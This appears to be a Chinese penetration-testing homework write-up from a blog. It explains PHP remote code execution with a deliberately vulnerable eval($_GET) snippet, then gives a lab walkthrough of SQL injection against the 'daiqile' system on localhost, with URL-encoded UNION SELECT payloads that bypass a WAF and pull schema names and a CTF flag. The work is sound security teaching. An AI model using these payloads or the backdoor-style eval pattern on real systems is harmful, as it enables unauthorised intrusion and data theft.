渗透第二次作业

目录

简述rce漏洞

可能产生rce漏洞的函数

RCE代码执行漏洞示例

贷齐乐系统多处SQL注入漏洞

​编辑

爆出库名

爆出表名

爆出表下的列名

查flag数据


简述rce漏洞

​ rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

可能产生rce漏洞的函数

1.PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。

2.PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

3.PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

RCE代码执行漏洞示例

复制代码
<?php
        $code=$_GET['x'];
        eval($code);
?>

访问刚刚创建的php文件,参数后面的内容写为"phpinfo()".可以看到网页执行了phpinfo()语句并进行了回显。

访问刚刚创建的php文件,参数后面的内容写为"echo 123;".可以看到网页执行了echo 123语句并进行了回显

贷齐乐系统多处SQL注入漏洞

该漏洞基于错误的WAF引发的,同SQLi靶场中的29关到31关类似,但该漏洞是错误的WAF引起的,而29关到31关则是HTTP参数污染引起的。还是有些不同之处的,而这里是HPP全局参数污染以及PHP的一个特性。

单引号闭合

爆出库名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

爆出表名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名

复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

查flag数据

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

总结

PHP特性:在GET请求中,如果参数的键(key)包含点号(.),PHP会自动将其转换为下划线(_)。例如,参数i.d会被转换为i_d

相关推荐
奔跑吧 android1 小时前
【android bluetooth 协议分析 07】【SDP详解 2】【SDP 初始化】
android·bluetooth·aosp15·bt·gd·sdp_init
梦否3 小时前
Android 代码热度统计(概述)
android
xchenhao7 小时前
基于 Flutter 的开源文本 TTS 朗读器(支持 Windows/macOS/Android)
android·windows·flutter·macos·openai·tts·朗读器
coder_pig7 小时前
跟🤡杰哥一起学Flutter (三十五、玩转Flutter滑动机制📱)
android·flutter·harmonyos
消失的旧时光-19438 小时前
OkHttp SSE 完整总结(最终版)
android·okhttp·okhttp sse
ansondroider9 小时前
OpenCV 4.10.0 移植 - Android
android·人工智能·opencv
hsx66612 小时前
Kotlin return@label到底怎么用
android
itgather13 小时前
安卓设备信息查看器 - 源码编译
android
whysqwhw13 小时前
OkHttp之buildSrc模块分析
android
hsx66613 小时前
从源码角度理解Android事件的传递流程
android